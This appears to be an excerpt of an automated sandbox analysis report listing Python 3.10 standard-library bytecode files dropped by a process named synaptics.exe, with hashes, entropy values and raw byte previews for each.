Preview:	o........'-dd........................@...s4...d.Z.g.d...Z.g.d...Z.g.d...Z.e.e...j.Z.e.e...j.Z.d.S.).a....Keywords (from "Grammar/python.gram")..This file is automatically generated; please don't muck it up!..To update the symbols in this file, 'cd' to the top directory of.the python source tree and run:.. PYTHONPATH=Tools/peg_generator python3 -m pegen.keywordgen Grammar/python.gram Grammar/Tokens Lib/keyword.py..Alternatively, you can run 'make regen-keyword'..)...iskeyword..issoftkeyword..kwlist..softkwlist)#..False..None..TrueZ.andZ.asZ.assertZ.asyncZ.awaitZ.break..classZ.continueZ.defZ.delZ.elifZ.elseZ.exceptZ.finallyZ.forZ.fromZ.globalZ.ifZ.import..inZ.is..lambdaZ.nonlocalZ.notZ.orZ.passZ.raise..returnZ.tryZ.whileZ.withZ.yield)..._Z.case..matchN)...__doc__..__all__r....r......frozenset..__contains__r....r......r....r.....+C:\Users\Public\QExvbmVOb25l\lib\keyword.py..<module>....s...........&....

C:\Users\Public\QExvbmVOb25l\Lib\pycache\linecache.cpython-310.pyc.59561504

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	4155
Entropy (8bit):	5.325878719236098
Encrypted:	false
SSDEEP:	96:0Z1XLppmx0pYUG0wzU182J691Tc7mh5ae7y8:4PyN10wzg6TTc7mh5vD
MD5:	133CF64ECAC33C70B434A9707C5A5CF3
SHA1:	A51AB06A3B28F26428DCD830462D7B0FFC0AAAEC
SHA-256:	9E36FC7BDDEAA3D8E19C2DCFD08A69A11170C715DA578530DFE3F599A51AB040
SHA-512:	67C3B676D3A17FE54E6A5677525EA85D236EDED772DA5F25306EE2552A0FB06ABF18F022F5A6AF699DB45E5C90FA40F5BECA89B42F6D78DA928CEBE6B2EBC1F9
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...sl...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.i.Z.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d...Z.d.S.).z.Cache lines from Python source files...This is intended to read lines from modules imported -- hence if a filename.is not found, it will look down the module search path for a file by.that name.......N)...getline..clearcache..checkcache..lazycachec....................C...s....t.......d.S.).z.Clear the cache entirely.N)...cache..clear..r....r.....-C:\Users\Public\QExvbmVOb25l\lib\linecache.pyr........s......r....c....................C...s8...t.\|.\|...}.d.\|.....k.r.t.\|...k.r.n...d.S.\|.\|.d.....S.d.S.).z~Get a line for a Python source file from the cache.. Update the cache if it doesn't contain an entry for this file already........)...getlines..len)...filename..lineno..module_globals..linesr....r....r....r........s..............r....c....................C...sR...\|.t.v.r.t.\|...}.t.\|...d.k.r.t.\|...d...S.z.t.\|.\|...W.S...t.y(......t...

C:\Users\Public\QExvbmVOb25l\Lib\pycache\locale.cpython-310.pyc.30423904

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	46178
Entropy (8bit):	6.062416669975893
Encrypted:	false
SSDEEP:	768:45YArctK0pztzQUB04zzRYKJFSd6tmm+a4L+P9cLjYp:I1YKGzbB04zVYAFU6x+a4aPuL8p
MD5:	B274D608C3ECDE7DBA935464C3FDD0F9
SHA1:	38CB33EE40CBDF0136CA3D8C75B647B8ABE13FD3
SHA-256:	266F757C064DCAE7C96551B88A3CDB90E04EC17D742DA25850F78E7B0E47AEA4
SHA-512:	5FCE4C23FED736A46D18ACD5242CCFB2FDF89D6BBE917E46B71A27AC0ED07B4A9B0C575537C953384D95A4EFD3D80E8485F64B485A8948C2B309B2F8ED92B13D
Malicious:	false
Reputation:	low
Preview:	o........'-d.8.......................@...sF"..d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.Z.g.d...Z.d.d...Z.d.d...Z.z.d.d.l.T.W.n%..e.yW......d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.e.Z.d.d...Z...d.d.d...Z.Y.n.w.d.e...v.r_e.Z.d.e...v.rfe.Z.e.Z.i.Z.e.. e...d.d.....Z.d.d...Z!..d.d.d...Z"d.d...Z#e..$d...Z%..d.d d!..Z&..d.d"d#..Z'..d.d$d%..Z(..d.d&d'..Z)..d.d)d..Zd+d,..Z.d-d...Z+..d.d/d0..Z,e-f.d1d2..Z.d3d4..Z/d5d6..Z0e.Z1d7d8..Z2d9d:..Z3d;d<..Z4d=d>..Z5d?d@..Z6..d.dBdC..Z7e.f.dDdE..Z8..d.dFd...Z.e.f.dGdH..Z9z.d.dIl.m:Z:..W.n...e...y.......dJdK..Z:Y.n.w.z.e;..W.n...e<..y.........d.dLdM..Z=Y.n.w...d.dNdM..Z=i.dOdP..dQdP..dRdS..dTdU..dVdU..dWdX..dYdZ..d[d\..d]d^..d_d`..dadS..dbdc..ddde..dfdg..dhdS..didS..djdS..i.dkdl..dmdn..dodp..dqdr..dsdg..dtdu..dvdc..dwdx..dydz..d{de..d\|d}..d~d...d.d...d.d...d.dU..d.d...d.d.....dXd.d.d.d.d.d.d\d^d`d.....Z>e?e>.@....D.].\.ZAZBeA.Cd.d...ZAe>.DeAeB......q.i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...

C:\Users\Public\QExvbmVOb25l\Lib\pycache\lzma.cpython-310.pyc.56025120

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	12113
Entropy (8bit):	5.3787135439915765
Encrypted:	false
SSDEEP:	192:d+KxmpkRLMC//oP1UHyszdKXnoGwKjwmAKa09hs4Nr:Tmo2UHtgNAKl9hs45
MD5:	F0EC866C8A861B5EBCCC780C4C0516C8
SHA1:	5656D5D52C3FE4DAC8D76B54CA58E44E7BC42F21
SHA-256:	CE6E5F552D93BA306C74107AAEF541F687BCA9646F4BE7BAFE01B2D60C59C199
SHA-512:	4AEBBC089A2FC56D9096564EC9B071EAC17A89C79A51FB74A3C7F72C7C7CCA5112F3EB66BE9501BDB9BCF77D4A10A677FA5877D429452C072A6329FF233B62D0
Malicious:	false
Reputation:	low
Preview:	o........'-dA5.......................@...s....d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.d.d.l.m.Z.m.Z...d.d.l.Z.d.Z.d.Z.d.Z.G.d.d...d.e.j...Z.d.d.d.d.d.d.d.d.d...d.d...Z.e.d.d.d.f.d.d...Z.e.d.d.f.d.d...Z.d.S.).aS...Interface to the liblzma compression library...This module provides a class for reading and writing compressed files,.classes for incremental (de)compression, and convenience functions for.one-shot (de)compression...These classes and functions support both the XZ and legacy LZMA.container formats, as well as raw compressed data streams..)$Z.CHECK_NONEZ.CHECK_CRC32Z.CHECK_CRC64Z.CHECK_SHA256Z.CHECK_ID_MAXZ.CHECK_UNKNOWNZ.FILTER_LZMA1Z.FILTER_LZMA2Z.FILTER_DELTAZ.FILTER_X86Z.FILTER_IA64Z.FILTER_ARMZ.FILTER_ARMTHUMBZ.FILTER_POWERPCZ.FILTER_SPARC..FORMAT_AUTO..FORMAT_XZZ.FORMAT_ALONEZ.FORMAT_RAWZ.MF_HC3Z.MF_HC4Z.MF_BT2Z.MF_BT3Z.MF_BT4Z.MODE_FASTZ.MODE_NORMALZ.PRESET_DEFAULTZ.PRESET_EXTREME..LZMACompressor..LZMADecompressor..LZMAFile..LZMAError..open..compress..decompressZ.is_c

C:\Users\Public\QExvbmVOb25l\Lib\pycache\mimetypes.cpython-310.pyc.74118208

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	17632
Entropy (8bit):	5.6765285238011005
Encrypted:	false
SSDEEP:	384:mmMcSuUoigjrH1V19yB/sWG5D+nTF+jZjB77rXw0:mjzgl0sWm4+jZjNw0
MD5:	0FFA9621297DF9C739DF2A54F70FE8D2
SHA1:	E055F51463CE120828108430A099D1572CAB5373
SHA-256:	3535E9E66B1D7C49133B8FE5F24EDB63AF49DEDEA4660646FEB4DAFC6EB624B3
SHA-512:	D9C3A26B78EDCED15672746E5C7C929E3572AE2DF7C5B59AC6363951C8437E0E4C16704CBCF5C9B419B6604C405D2C6F1B6D63B913518EE185CF067426EFB096
Malicious:	false
Reputation:	low
Preview:	o........'-d.Z.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.z.d.d.l.m.Z...W.n...e.y%......d.Z.Y.n.w.z.d.d.l.Z.W.n...e.y7......d.Z.Y.n.w.g.d...Z.g.d...Z.d.a.d.a.G.d.d...d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d...Z.d.d...Z.e.....d.d...Z.e.d.k.r\|e.....d.S.d.S.).a....Guess the MIME type of a file...This module defines two useful functions:..guess_type(url, strict=True) -- guess the MIME type and encoding of a URL...guess_extension(type, strict=True) -- guess the extension for a given MIME type...It also contains the following, for tuning the behavior:..Data:..knownfiles -- list of files to parse.inited -- flag set when init() has been called.suffix_map -- dictionary mapping suffixes to suffixes.encodings_map -- dictionary mapping suffixes to encodings.types_map -- dictionary mapping suffixes to types..Functions:..init([files]) -- parse a list of files, default knownfiles (on Windows, the. default values are taken from the registry).read_mime_types(

C:\Users\Public\QExvbmVOb25l\Lib\pycache\netrc.cpython-310.pyc.87387264

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	3946
Entropy (8bit):	5.481114302614267
Encrypted:	false
SSDEEP:	96:88lwQqPqiKqqHW7Nd5pqKHQwmHv35UmyhWqgv0+USVqtnqqgqhy:888Pq/qq27NVqKleemdq8LvVqtnqqgqU
MD5:	2DB8CC3CB04A17FFE46180922A151DE8
SHA1:	0D9A07B50F1DE042A956ADC70A6DAD9B0D82C05D
SHA-256:	8E42195C5ED61254F2CDC78EC49CBB5016DD33466BC2CDEFA22C26A431B21C0E
SHA-512:	9BF44DF143A974B3EBA26A3D4A4C5836D3117A37F3F24956F4CCA025E115F7801A7D5F039DFBEB4C3E84C25826C3C1DB363936FDF0494ECD7282BCAC2E4706AD
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s\...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.g.Z.G.d.d...d.e...Z.G.d.d...d...Z.e.d.k.r,e.e.......d.S.d.S.).z-An object-oriented interface to .netrc files......N..netrc..NetrcParseErrorc....................@...s"...e.Z.d.Z.d.Z.d.d.d...Z.d.d...Z.d.S.).r....z5Exception raised on syntax errors in the .netrc file.Nc....................C...s"...\|.\|._.\|.\|._.\|.\|._.t...\|.\|.....d.S...N)...filename..lineno..msg..Exception..__init__)...selfr....r....r......r.....)C:\Users\Public\QExvbmVOb25l\lib\netrc.pyr........s............z.NetrcParseError.__init__c....................C...s....d.\|.j.\|.j.\|.j.f...S.).Nz.%s (%s, line %s)).r....r....r....).r....r....r....r......__str__....s......z.NetrcParseError.__str__).NN)...__name__..__module__..__qualname__..__doc__r....r....r....r....r....r....r........s............c....................@...s....e.Z.d.Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.).r....Nc....................C...s....\|.d.u.}.\|.d.u.r.t.j...t.j...d...d...}.i.\|._.i.\|._.

C:\Users\Public\QExvbmVOb25l\Lib\pycache\ntpath.cpython-310.pyc.20617024

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	15316
Entropy (8bit):	5.432888374451387
Encrypted:	false
SSDEEP:	384:H7fr8V5t+X9xyFga+mDB8s+qHe65jZBCrF++umt:zra/WkFga+mDGs+hsZwrF++umt
MD5:	0F8E4B2E2CB1397CCD71C4EB289956F1
SHA1:	748BFEB3058F7C372076F0CF0DB9B8E8B2CAABBF
SHA-256:	7113CC19BEC27EF04C4399726A6C2C091F14F6FAAA17F08B783F917969259136
SHA-512:	0E66B08CD8388FD5B168BA76BD506D1A5EC0E33EC0614ADC69120CB5CF815163ADEBC1DD17F9CB842CBB3136FD18C873C14B0702B325AE1DF7A3C2F2CB3C4D2E
Malicious:	false
Reputation:	low
Preview:	o........'-dov.......................@...s....d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.g.d...Z.d.d...Z.z.d.d.l.m.Z.m.Z.m.Z...d.d...Z.W.n...e.yK......d.d...Z.Y.n.w.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.j.j.e._.d.d...Z.d.d...Z.d d!..Z d"d#..Z!z.d.d$l"m#Z#..W.n...e.y.......d.Z#Y.n.w.d%d&..Z$d'd(..Z%d)d..Z&d+d,..Z'd-d...Z(z.d.d/l"m)Z)..W.n...e.y.......e(ZY.n.w.d0d1..Zz.d.d2l"m+Z+m,Z-..W.n...e.y.......eZ.Y.n.w.d3d4..Z/d5d6..Z0d7d8..d9d:..Z.e1e.d;..o.e..2..d<..d=k.Z3dCd>d?..Z4d@dA..Z5z.d.dBl"m6Z7..W.d.S...e...y.......Y.d.S.w.)Dz.Common pathname manipulations, WindowsNT/95 version...Instead of importing this module directly, import os and refer to this.module as os.path...........\..;../z..;C:\binZ.nul.....N)...*)&..normcase..isabs..join..splitdrive..split..splitext..basename..dirnameZ.commonprefixZ.getsizeZ.getmtimeZ.getatimeZ.getctime..islink..exists..lexists..isdir..isfile..ismount..expanduser..expandvars..normpath..abspath..curdir..pardir..sep..p

C:\Users\Public\QExvbmVOb25l\Lib\pycache\nturl2path.cpython-310.pyc.56026752

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1760
Entropy (8bit):	5.538011062591141
Encrypted:	false
SSDEEP:	48:k5kKoXsYZdrK2ESp8ItqhhhUIuoLpP0I2GIikGmObMn:khoP27OqhDaodpkwbMn
MD5:	81520F63E7DF46A697FEE0536AA837B5
SHA1:	CD0FB6EE01CAE81DAF3043BC4A227AD734EB39AD
SHA-256:	0F5CC130E8A14F2EDB9FEA8F3BAA237E8BC82179DE62EDD8642A78F62D99E5A9
SHA-512:	28623B981EC47A82691757C1CD5706CCFE42386094BFC546681FDEDC371E9C6F91A989006FF7866EDBA6433AA9217BD7FDF4F86B03F3804DBAFBA3AB720D8DA0
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.Z.d.d...Z.d.d...Z.d.S.).z.Convert a NT pathname to a file URL and vice versa...This module only exists to provide OS-specific code.for urllib.requests, thus do not use directly..c....................C...s....d.d.l.}.d.d.l.}.\|...d.d...}.d.\|.v.r.\|.d.d.....d.k.r \|.d.d.....}.\|...d...}.\|.j...d...\|.....S.\|...d...}.t.\|...d.k.sB\|.d...d...\|.j.v.rJd.\|...}.t.\|.....\|.d...d.......}.\|.d.....d...}.\|.d...}.\|.D.].}.\|.rm\|.d...\|.j...\|.....}.q_\|...d...r\|\|...d...r\|\|.d.7.}.\|.S.).z{OS-specific conversion from a relative URL of the 'file' scheme. to a file system path; not recommended for general use......N..:..\|.....z.////......./..\.....z.Bad URL: .....)...string..urllib.parse..replace..split..parse..unquote..join..len..ascii_letters..OSError..upper..endswith)...urlr......urllib..components..comp..error..drive..path..r......C:\Users\Public\QExvbmVOb25l\lib\nturl2path.py..url2pathname....s*.............................................r....c..................

C:\Users\Public\QExvbmVOb25l\Lib\pycache\opcode.cpython-310.pyc.70517152

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	5460
Entropy (8bit):	5.65097332605992
Encrypted:	false
SSDEEP:	96:ksgyb2Y4AiIw0UEDJdWz1NA/DFi1foNC3SdGCDO1WnOhf:sySYRRDXfk1fb3H3WnOhf
MD5:	A1F717CA67735A72710BD3439E9955CF
SHA1:	8EE5BE0608514136D154D43AF6664B8B3B1E0459
SHA-256:	416E2820E3BCF8080A5E875AA12A44AE14811B96838AC510213F3EC87A7A632B
SHA-512:	07010B285348A2DCA17415F52660D9DD14C86D3999436DF8C569FB3395B1A75BAC41C67EB752222271D6931E2CEA01F5086D344255D4177B3FBA6E90AD8F5928
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s"...d.Z.g.d...Z.z.d.d.l.m.Z...e...d.....W.n...e.y.......Y.n.w.d.Z.g.Z.g.Z.g.Z.g.Z.g.Z.g.Z.g.Z.g.Z.i.Z.d.d...e.d...D...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d ....e.d!d"....e.d#d$....e.d%d&....e.d'd(....e.d)d*....e.d+d,....e.d-d.....e.d/d0....e.d1d2....e.d3d4....e.d5d6....e.d7d8....e.d9d:....e.d;d<....e.d=d>....e.d?d@....e.dAdB....e.dCdD....e.dEdF....e.dGdH....e.dIdJ....e.dKdL....e.dMdN....e.dOdP....e.dQdR....e.dSdT....e.dUdV....e.dWdX....e.dYdZ....e.d[d\....e.d]d^....e.d_d`....e.dadb....e.dcdd....e.dedf....e.dgdh....e.didj....e.dkdl....e.dmdn....e.dodp....e.dqdr....e.dsdt....e.dudv....e.dwdx....e.dydz....e.d{d\|....e.d}d~....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....d.Z.e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e...d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.

C:\Users\Public\QExvbmVOb25l\Lib\pycache\operator.cpython-310.pyc.22174944

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	13521
Entropy (8bit):	4.8472579053762095
Encrypted:	false
SSDEEP:	192:+25I4L+Hse0C1/u2/DqnsvQgZ2CsisKoVk7tlipYMpA+B8eLq4UZfm:N5FeTs2rwejZ2CMKoqt0pYkTSeLAfm
MD5:	E2BA5911F122B550E81AC86DDDA18323
SHA1:	5085ADF53848BC58EDF161DBA1236A08ACF18A9D
SHA-256:	51EDAB5A122589B0B38AB0019101C85618BDC1C23510EA8C69436BD69482A292
SHA-512:	0B60C4E44E3E0AE284B8A400F35AD8B0E2C64B3318D7B38D96969BA593BF72DB64A1F392380AED49288B422C718033718ED64662A0D74157592F40D26D36DA2E
Malicious:	false
Reputation:	low
Preview:	o........'-d.+.......................@...s....d.Z.g.d...Z.d.d.l.m.Z...d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d!..Z.d"d#..Z.e.Z.d$d%..Z.d&d'..Z.d(d)..Z.dd+..Z.d,d-..Z.d.d/..Z.d0d1..Z.d2d3..Z.d4d5..Z.d6d7..Z.d8d9..Z.d:d;..Z d<d=..Z!d>d?..Z"d@dA..Z#dBdC..Z$dDdE..Z%dFdG..Z&dHdI..Z'dqdJdK..Z(G.dLdM..dM..Z)G.dNdO..dO..ZG.dPdQ..dQ..Z+dRdS..Z,dTdU..Z-dVdW..Z.dXdY..Z/dZd[..Z0d\d]..Z1d^d_..Z2d`da..Z3dbdc..Z4ddde..Z5dfdg..Z6dhdi..Z7djdk..Z8dldm..Z9z.d.dnl:T.W.n...e;y.......Y.n.w.d.dol:m.Z...e.Z<e.Z=e.Z>e.Z?e.Z@e.ZAe.ZBe.ZCe.ZDe.ZEe.ZFe.ZGe.ZHe.ZIe.ZJe.ZKe.ZLe.ZMe.ZNe.ZOe.ZPe.ZQe.ZRe.ZSe.ZTe ZUe!ZVe"ZWe$ZXe%ZYe'ZZe,Z[e-Z\e.Z]e/Z^e0Z_e1Z`e2Zae3Zbe4Zce5Zde6Zee7Zfe8Zge9ZhdpS.)ras....Operator Interface..This module exports a set of functions corresponding to the intrinsic.operators of Python. For example, operator.add(x, y) is equivalent.to the expression x+y. The function names are those used for special.methods; variants

C:\Users\Public\QExvbmVOb25l\Lib\pycache\os.cpython-310.pyc.20648144

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	31612
Entropy (8bit):	5.452333319472934
Encrypted:	false
SSDEEP:	768:mZz401oaK+W0l85fOHqjQmZxhVQIuA5+LBL3L8LOULOLwvLdLtg4aE2aYiZ9:QbK+WHaKQmZBw2LN2Y
MD5:	05C6AD7B193923DA42B23DE4C5D27502
SHA1:	C729C38E7BC62983418230B605AE4A041C0A9456
SHA-256:	6D359A390187883352FC1A84986B3437E4FCA870A5DC48E86E0421A5651E035D
SHA-512:	FBFB81DCEC893FDAC516DE1839D891476C6BA149224983732DB857FC612707F65FBC5372DCEC911B7046CACEDA5DEC687D08D20182992B340D3B2A63B9832A25
Malicious:	false
Reputation:	low
Preview:	o........'-d........................@...sh...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...e.e.e.....Z.e.j.Z.g.d...Z.d.d...Z.d.d...Z.d.e.v.rod.Z.d.Z.d.d.l.T.z.d.d.l.m.Z...e...d.....W.n...e.yK......Y.n.w.d.d.l.Z.z.d.d.l.m.Z...W.n...e.ya......Y.n.w.d.d.l.Z.e...e.e.......[.nId.e.v.r.d.Z.d.Z.d.d.l.T.z.d.d.l.m.Z...e...d.....W.n...e.y.......Y.n.w.d.d.l.Z.d.d.l.Z.e...e.e.......[.z.d.d.l.m.Z...W.n...e.y.......Y.n.w.e.d.....e.e.j.d.<.d.d.l.m.Z.m.Z.m Z m!Z!m"Z"m#Z#m$Z$m%Z%..[.e.d.....r.e&..Z'd.d...Z(e)..Ze(d.d.....e(d.d.....e(d.d.....e(d.d.....e(d.d ....e(d!d"....e(d#d$....e(d%d&....e(d'd(....e(d)d....e(d+d,....e(d-d.....e(d/d0....e(d1d2....e(d1d3....e(d4d ....eZ+e)..Ze(d.d.....eZ,e)..Ze(d5d6....e(d7d.....e(d8d.....e(d9d:....e(d9d;....e(d<d=....e.-e.....e(d>d?....e(d@d ....e(dAd ....e(dBdC....e.dD....r.e.dE....r.e(dFdD....eZ.e)..Ze(d.d.....e(d.d.....e(d.d.....e(dGdH....e(dId.....e.dJ....r.e(dKd.....e(d!d"....e(dLd ....e(dMd.....e(d.d.....e(d4d ....e(dNd.....eZ/[*[.['[(d.Z0dOZ1dPZ2d.dSdT..Z3

C:\Users\Public\QExvbmVOb25l\Lib\pycache\pathlib.cpython-310.pyc.60842208

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	42065
Entropy (8bit):	5.237215862260339
Encrypted:	false
SSDEEP:	768:e8Hqw6XgaOSKyzD3ZslxWCPnN3v5HgAgRDTMJ68UH73dT0Lgp4oMcce2A6VJSWm+:rKw6XL3MvPnN3v5HgAmDTMK7N8gpjMiS
MD5:	3EC451FF867C95E804CA7AA5C5153252
SHA1:	DC24647C76DD88F0776CED2DAFA4351593CFB051
SHA-256:	42BEBB1BFAE2E94F975D16BFC61CDEEE67F207901D22A1C5BE0807F2C57BA8A7
SHA-512:	E82C01DC93FF9B617758E9B120C6EB8A5DABA3D59D50D7451917C700746D92652D6D81FD82A79CB87C33971393CD470E1F5601F12D7B8BD0D73FEBEB4B938F99
Malicious:	false
Reputation:	low
Preview:	o........'-d\........................@...s4...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...g.d...Z.d.Z.d.Z d.Z!e.e.e.e.f.Z"e.e e!f.Z#d.d...Z$d.d...Z%G.d.d...d.e&..Z'G.d.d...d.e'..Z(G.d.d...d.e'..Z)e(..Ze)..Z+G.d.d...d...Z,G.d.d...d.e,..Z-e-..Z.d.d...Z/e0e.d...r.e..1..e/..Z/G.d.d...d...Z2G.d.d...d...Z3G.d d!..d!e2..Z4G.d"d#..d#e2..Z5G.d$d%..d%e2..Z6G.d&d'..d'e...Z7G.d(d)..d)e&..Z8e.j9.:e8....G.dd+..d+e8..Z;G.d,d-..d-e8..Z<G.d.d/..d/e8..Z=G.d0d1..d1e=e;..Z>G.d2d3..d3e=e<..Z?d.S.)4.....N)...Sequence)...EINVAL..ENOENT..ENOTDIR..EBADF..ELOOP)...attrgetter)...S_ISDIR..S_ISLNK..S_ISREG..S_ISSOCK..S_ISBLK..S_ISCHR..S_ISFIFO)...quote_from_bytes)...PurePath..PurePosixPath..PureWindowsPath..Path..PosixPath..WindowsPath......{...i....c....................C...s ...t.\|.d.d...t.v.p.t.\|.d.d...t.v.S.).N..errno..winerror)...getattr.._IGNORED_ERROS.._IGNORED_WINERRORS)...except

C:\Users\Public\QExvbmVOb25l\Lib\pycache\pathlib.cpython-310.pyc.73867296

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	42065
Entropy (8bit):	5.237215862260339
Encrypted:	false
SSDEEP:	768:e8Hqw6DgaOSKyzD3ZslxWCPnN3v5HgAgRDTMJ68UH73dT0Lwp4oMcce2A6VJSWm+:rKw6DL3MvPnN3v5HgAmDTMK7N8wpjMiS
MD5:	95E1052984930A1757A5A991BFB74623
SHA1:	7D9DB6396B307546F26B8A1A07FF56F6CD631E7E
SHA-256:	94130AB3C1F1542150DA4D87778C37DCC6925B60F896448FA64C1157384F3A2A
SHA-512:	15C7E72308E9C63E5ADEE8E2173DB02DBBBAE42375421DC29B41E433DF91DF69278B6A5A2FEFF1FF86FC3CDB76C2FDE301124FF236D844B1327FF18567CD45CC
Malicious:	false
Reputation:	low
Preview:	o........'-d\........................@...s4...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...g.d...Z.d.Z.d.Z d.Z!e.e.e.e.f.Z"e.e e!f.Z#d.d...Z$d.d...Z%G.d.d...d.e&..Z'G.d.d...d.e'..Z(G.d.d...d.e'..Z)e(..Ze)..Z+G.d.d...d...Z,G.d.d...d.e,..Z-e-..Z.d.d...Z/e0e.d...r.e..1..e/..Z/G.d.d...d...Z2G.d.d...d...Z3G.d d!..d!e2..Z4G.d"d#..d#e2..Z5G.d$d%..d%e2..Z6G.d&d'..d'e...Z7G.d(d)..d)e&..Z8e.j9.:e8....G.dd+..d+e8..Z;G.d,d-..d-e8..Z<G.d.d/..d/e8..Z=G.d0d1..d1e=e;..Z>G.d2d3..d3e=e<..Z?d.S.)4.....N)...Sequence)...EINVAL..ENOENT..ENOTDIR..EBADF..ELOOP)...attrgetter)...S_ISDIR..S_ISLNK..S_ISREG..S_ISSOCK..S_ISBLK..S_ISCHR..S_ISFIFO)...quote_from_bytes)...PurePath..PurePosixPath..PureWindowsPath..Path..PosixPath..WindowsPath......{...i....c....................C...s ...t.\|.d.d...t.v.p.t.\|.d.d...t.v.S.).N..errno..winerror)...getattr.._IGNORED_ERROS.._IGNORED_WINERRORS)...except

C:\Users\Public\QExvbmVOb25l\Lib\pycache\platform.cpython-310.pyc.71505152

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	27442
Entropy (8bit):	5.5904468658757756
Encrypted:	false
SSDEEP:	768:fB4j93Ho+Dvz6WYt08jHUgRyRj4/ISTvI9nI6xk4laOXN4Ww:fB293oEbq089oRjnuunI6xs64F
MD5:	9C44045E27B703DD587BA21D5F1AB6E8
SHA1:	64B2BECA35332487D8808CAD39A3CC2B4056F41E
SHA-256:	6FC6D0204E0E7C651F37DBD5856691A8F97C5DC28A0D97B7F8789A095813E60F
SHA-512:	81232D31A22D42B2CF9CBD4FB7463AE61882F3C05B83D4FA9F9FF83ACBAA2636D5B5FBBE0966C60E73236E037EB6E83C1B582A7E89547F0C1FD5C427D2172433
Malicious:	false
Reputation:	low
